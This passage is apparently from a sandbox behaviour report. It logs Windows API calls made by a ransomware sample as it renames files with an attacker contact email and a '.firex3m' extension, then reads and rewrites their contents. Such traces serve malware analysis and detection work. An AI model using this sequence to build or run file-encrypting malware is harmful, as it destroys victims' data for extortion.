dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.315] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0087.315] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0087.315] GetProcessHeap () returned 0x630000 [0087.315] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xea1) returned 0x725d78 [0087.315] GetProcessHeap () returned 0x630000 [0087.315] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xea1) returned 0x726c28 [0087.315] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x670, lpBuffer=0x725d78, nNumberOfBytesToRead=0xe80, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d78*, lpNumberOfBytesRead=0x3a7ff0c*=0xe80, lpOverlapped=0x0) returned 1 [0087.337] GetProcessHeap () returned 0x630000 [0087.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0087.337] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.337] WriteFile (in: hFile=0x670, lpBuffer=0x726c28*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726c28*, lpNumberOfBytesWritten=0x3a7ff0c*=0xe80, lpOverlapped=0x0) returned 1 [0087.337] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.337] WriteFile (in: hFile=0x670, lpBuffer=0x727aa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727aa7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.337] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.337] WriteFile (in: hFile=0x670, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.338] CloseHandle (hObject=0x670) returned 1 [0087.338] GetProcessHeap () returned 0x630000 [0087.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726c28 | out: hHeap=0x630000) returned 1 [0087.339] GetProcessHeap () returned 0x630000 [0087.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d78 | out: hHeap=0x630000) returned 1 [0087.339] GetProcessHeap () returned 0x630000 [0087.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0087.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.339] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfa029204, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xeb2, dwReserved0=0xc887496, dwReserved1=0x725d70, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5000 [0087.339] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0087.339] Sleep (dwMilliseconds=0x1) [0087.400] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1025\\eula.rtf", len=0x23 | out: pbstr=0x3a7ff7c*="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 1 [0087.400] GetProcessHeap () returned 0x630000 [0087.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1340 | out: hHeap=0x630000) returned 1 [0087.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0087.447] CloseHandle (hObject=0x67c) returned 1 [0087.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.448] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.448] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d53c0 [0087.448] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0087.448] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0087.448] GetProcessHeap () returned 0x630000 [0087.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1da1) returned 0x725d78 [0087.449] GetProcessHeap () returned 0x630000 [0087.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1da1) returned 0x6f05970 [0087.449] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.449] ReadFile (in: hFile=0x67c, lpBuffer=0x725d78, nNumberOfBytesToRead=0x1d80, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d78*, lpNumberOfBytesRead=0x3a7ff0c*=0x1d80, lpOverlapped=0x0) returned 1 [0088.027] GetProcessHeap () returned 0x630000 [0088.027] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8b90 [0088.027] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.028] WriteFile (in: hFile=0x67c, lpBuffer=0x6f05970*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05970*, lpNumberOfBytesWritten=0x3a7ff0c*=0x1d80, lpOverlapped=0x0) returned 1 [0088.028] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.028] WriteFile (in: hFile=0x67c, lpBuffer=0x6f076ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f076ef*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0088.028] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.028] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0088.028] CloseHandle (hObject=0x67c) returned 1 [0088.029] GetProcessHeap () returned 0x630000 [0088.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05970 | out: hHeap=0x630000) returned 1 [0088.029] GetProcessHeap () returned 0x630000 [0088.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d78 | out: hHeap=0x630000) returned 1 [0088.029] GetProcessHeap () returned 0x630000 [0088.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8b90 | out: hHeap=0x630000) returned 1 [0088.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.029] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfa6b7ae4, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x1db3, dwReserved0=0xc887496, dwReserved1=0x725d70, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5200 [0088.029] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0088.030] Sleep (dwMilliseconds=0x1) [0089.432] Sleep (dwMilliseconds=0x1) [0090.797] Sleep (dwMilliseconds=0x1) [0091.915] Sleep (dwMilliseconds=0x1) [0093.577] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\netfx_Core.mzz", len=0x24 | out: pbstr=0x3a7ff7c*="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 1 [0093.577] GetProcessHeap () returned 0x630000 [0093.577] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6905f8, Size=0x74) returned 0x690878 [0093.578] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6fc [0093.578] CloseHandle (hObject=0x6fc) returned 1 [0093.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.589] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.590] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NEC887~1.FIR")) returned 0x6d4e40 [0093.590] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0093.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6fc [0093.590] GetProcessHeap () returned 0x630000 [0093.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d68a8 [0093.591] GetProcessHeap () returned 0x630000 [0093.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71e1cd8 [0093.591] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.591] ReadFile (in: hFile=0x6fc, lpBuffer=0x71d68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d68a8*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0099.473] GetProcessHeap () returned 0x630000 [0099.473] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0099.473] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.473] WriteFile (in: hFile=0x6fc, lpBuffer=0x71e1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e1cd8*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0099.474] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.474] WriteFile (in: hFile=0x6fc, lpBuffer=0x71ed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed0d7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.794] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.794] WriteFile (in: hFile=0x6fc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.794] CloseHandle (hObject=0x6fc) returned 1 [0103.139] GetProcessHeap () returned 0x630000 [0103.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e1cd8 | out: hHeap=0x630000) returned 1 [0103.159] GetProcessHeap () returned 0x630000 [0103.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d68a8 | out: hHeap=0x630000) returned 1 [0103.184] GetProcessHeap () returned 0x630000 [0103.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0103.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.185] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x356acca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xad1386f, dwReserved0=0xc887496, dwReserved1=0x71d68a0, cFileName="netfx_Core.mzz.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NEC887~1.FIR")) returned 0x6d4e40 [0103.185] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0103.185] Sleep (dwMilliseconds=0x1) [0103.306] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0104.835] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", len=0x38 | out: pbstr=0x3a7ff7c*="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 1 [0104.835] GetProcessHeap () returned 0x630000 [0104.835] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x1c) returned 0x6e9120 [0104.835] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0104.836] CloseHandle (hObject=0x6dc) returned 1 [0104.836] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.836] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.837] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIC6FA~1.FIR")) returned 0x6d5340 [0104.837] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0104.837] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0104.838] GetProcessHeap () returned 0x630000 [0104.838] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f33a38 [0104.838] GetProcessHeap () returned 0x630000 [0104.838] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3ee68 [0104.839] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.839] ReadFile (in: hFile=0x6dc, lpBuffer=0x6f33a38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a38*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.777] GetProcessHeap () returned 0x630000 [0112.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0112.777] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.777] WriteFile (in: hFile=0x6dc, lpBuffer=0x6f3ee68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ee68*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.777] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.777] WriteFile (in: hFile=0x6dc, lpBuffer=0x6f4a267*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4a267*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.779] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.779] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.779] CloseHandle (hObject=0x6dc) returned 1 [0112.840] GetProcessHeap () returned 0x630000 [0112.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ee68 | out: hHeap=0x630000) returned 1 [0112.840] GetProcessHeap () returned 0x630000 [0112.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f33a38 | out: hHeap=0x630000) returned 1 [0112.840] GetProcessHeap () returned 0x630000 [0112.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0112.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.840] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x934e2f4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x101024, dwReserved0=0xc887496, dwReserved1=0x6f33a30, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIC6FA~1.FIR")) returned 0x6d5040 [0112.841] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0112.841] Sleep (dwMilliseconds=0x1) [0113.712] Sleep (dwMilliseconds=0x1) [0114.313] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", len=0x5c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 1 [0114.313] GetProcessHeap () returned 0x630000 [0114.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1220 | out: hHeap=0x630000) returned 1 [0114.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.313] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.184] Sleep (dwMilliseconds=0x1) [0117.563] Sleep 